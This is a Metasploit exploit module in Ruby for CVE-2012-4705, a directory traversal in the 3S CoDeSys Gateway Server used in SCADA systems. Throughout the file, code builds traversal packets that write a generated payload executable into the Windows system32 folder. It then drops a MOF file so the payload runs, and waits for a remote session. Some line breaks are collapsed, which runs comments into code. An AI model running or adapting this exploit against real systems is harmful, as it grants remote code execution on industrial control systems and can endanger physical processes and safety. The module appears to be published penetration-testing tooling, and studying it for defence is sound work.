### This module requires Metasploit: http://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework# http://metasploit.com##
require 'msf/core'class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::WbemExec
def initialize(info = {})
super(update_info(info,'Name' => 'SCADA 3S CoDeSys Gateway Server Directory Traversal','Description'=> %q{
This module exploits a directory traversal vulnerability that allows arbitrary
file creation, which can be used to execute a mof file in order to gain remote
execution within the SCADA system.},'Author' =>
['Enrique Sanchez <esanchez[at]accuvant.com>'],'License'=> 'MSF_LICENSE','References' =>
[['CVE','2012-4705'],['OSVDB','90368'],['URL','http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf']],'DisclosureDate' => 'Feb 02 2013','Platform' => 'win','Targets'=>
[['Windows Universal S3 CoDeSyS < 2.3.9.27',{}]],'DefaultTarget' => 0))
register_options([
Opt::RPORT(1211),], self.class)end### upload_file(remote_filepath, remote_filename, local_filedata)## remote_filepath: Remote filepath where the file will be uploaded# remote_filename: Remote name of the file to be executed ie. boot.ini# local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
def upload_file(remote_filepath, remote_filename, local_filedata = null)
magic_code = "\xdd\xdd"
opcode = [6].pack('L')# We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
pkt_size = local_filedata.size()+ file.size()+(0x108 - file.size())+ 4
# Magic_code+ packing + size
pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')
tmp_pkt = opcode << file
tmp_pkt +="\x00"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata
pkt << tmp_pkt
print_status("Starting upload of file #{remote_filename}")
connect
sock.put(pkt)
disconnect
print_status("File uploaded")end
def exploit
print_status("Attempting to communicate with SCADA system #{rhost} on port #{rport}")# We create an exe payload, we have to get remote execution in 2 steps
exe = generate_payload_exe
exe_name = Rex::Text::rand_text_alpha(8)+".exe"
upload_file("windows\\system32\\", exe_name, exe)# We create the mof file and upload (second step)
mof_name = Rex::Text::rand_text_alpha(8)+".mof"
mof = generate_mof(mof_name, exe_name)
upload_file("WINDOWS\\system32\\wbem\\mof\\", mof_name, mof)
print_status("Everything is ready, waiting for a session ... ")
handler
#Taken from the spooler exploit writen byt jduck and HDMoore
cnt = 1
while session_created? == false and cnt < 25
::IO.select(nil, nil, nil, 0.25)
cnt += 1
endendend